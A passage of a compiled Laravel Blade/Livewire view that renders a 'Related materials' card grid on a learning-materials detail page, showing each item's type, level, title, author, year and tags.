<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php
$relatedMaterials = \App\Models\Material::query()
->published()
->where('id', '!=', $material->id)
->whereHas('tags', fn($q) => $q->whereIn('tags.id', $material->tags->pluck('id')))
->with('tags')
->limit(4)
->get();
// Hover-aware shadow map (mirrors the index grid)
$relatedShadowMap = [
'book' => 'shadow-sunshine-400/40 hover:shadow-sunshine-400/60',
'chapter' => 'shadow-sunshine-500/40 hover:shadow-sunshine-500/60',
'article' => 'shadow-salmon-400/40 hover:shadow-salmon-400/60',
'podcast' => 'shadow-sky-400/40 hover:shadow-sky-400/60',
'video' => 'shadow-sky-500/40 hover:shadow-sky-500/60',
'website' => 'shadow-navy-300/40 hover:shadow-navy-300/60',
'course' => 'shadow-salmon-500/40 hover:shadow-salmon-500/60',
'other' => 'shadow-slate-300/50 hover:shadow-slate-300/70',
];
?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($relatedMaterials->isNotEmpty()): ?>
<div class="mt-6">
<h2 class="text-sm font-bold text-navy-700 uppercase tracking-wider mb-3">Related materials</h2>
<div class="grid grid-cols-1 sm:grid-cols-2 gap-3">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $relatedMaterials; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $r): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<?php
$rTypeLabel = \App\Models\Material::TYPES[$r->type]['label'] ?? $r->type;
$rLevelLabel = \App\Models\Material::LEVELS[$r->level] ?? null;
$rEbene = collect($r->ebene ?? [])->map(fn($e) => \App\Models\Material::EBENEN[$e] ?? $e)->first();
$rShadowCls = $relatedShadowMap[$r->type] ?? 'shadow-slate-300/50 hover:shadow-slate-300/70';
$rTags = $r->tags->take(3);
?>
<article class="group relative flex flex-col bg-white rounded-lg shadow-md hover:shadow-xl hover:-translate-y-0.5 transition-all duration-150 border border-slate-100 <?php echo e($rShadowCls); ?> overflow-hidden">
<a href="<?php echo e(route('materials.show', $r)); ?>" class="absolute inset-0" aria-label="<?php echo e($r->title); ?>"></a>
<span class="absolute top-2 right-2 opacity-0 group-hover:opacity-100 transition-opacity text-navy-700 pointer-events-none">
<svg class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17 8l4 4m0 0l-4 4m4-4H3"/>
</svg>
</span>
<div class="relative p-3 flex flex-col gap-1.5 pointer-events-none">
<div class="flex flex-wrap items-center gap-x-2.5 gap-y-1 text-[9px] font-bold uppercase tracking-[0.08em] text-navy-700/80">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($rLevelLabel): ?>
<span class="inline-flex items-center gap-1">
<span class="w-1.5 h-1.5 bg-sky-400"></span>
<?php echo e($rLevelLabel); ?>
</span>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($rEbene): ?>
<span class="inline-flex items-center gap-1">
<span class="w-1.5 h-1.5 bg-salmon-400"></span>
<?php echo e($rEbene); ?>
</span>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<span class="inline-flex items-center gap-1">
<span class="w-1.5 h-1.5 bg-sunshine-400"></span>
<?php echo e($rTypeLabel); ?>
</span>
</div>
<h3 class="font-bold text-navy-700 text-sm leading-snug line-clamp-2 group-hover:underline"><?php echo e($r->title); ?></h3>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($r->author || $r->year): ?>
<p class="text-xs font-medium text-sky-700 line-clamp-1">
<?php echo e($r->author); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($r->author && $r->year): ?><span class="text-slate-400"> ยท </span><?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?><?php echo e($r->year); ?>
</p>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($rTags->isNotEmpty()): ?>
<div class="flex flex-wrap gap-1 mt-1 pointer-events-auto">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $rTags; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<a href="<?php echo e(route('materials.index', ['tags' => [$tag->id]])); ?>"
title="Find more materials tagged โ<?php echo e($tag->name); ?>โ"
class="relative inline-flex items-center px-1.5 py-0.5 rounded-full text-[9px] font-medium border border-salmon-400 text-navy-700/80 hover:bg-salmon-400 hover:text-white transition-colors"><?php echo e($tag->name); ?></a>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</article>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</div>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal5863877a5171c196453bfa0bd807e410)): ?>
<?php $attributes = $__attributesOriginal5863877a5171c196453bfa0bd807e410; ?>
<?php unset($__attributesOriginal5863877a5171c196453bfa0bd807e410); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal5863877a5171c196453bfa0bd807e410)): ?>
<?php $component = $__componentOriginal5863877a5171c196453bfa0bd807e410; ?>
<?php unset($__componentOriginal5863877a5171c196453bfa0bd807e410); ?>
<?php endif; ?>
<?php /**PATH /var/www/html/flnavigator/resources/views/materials/show.blade.php ENDPATH**/ ?>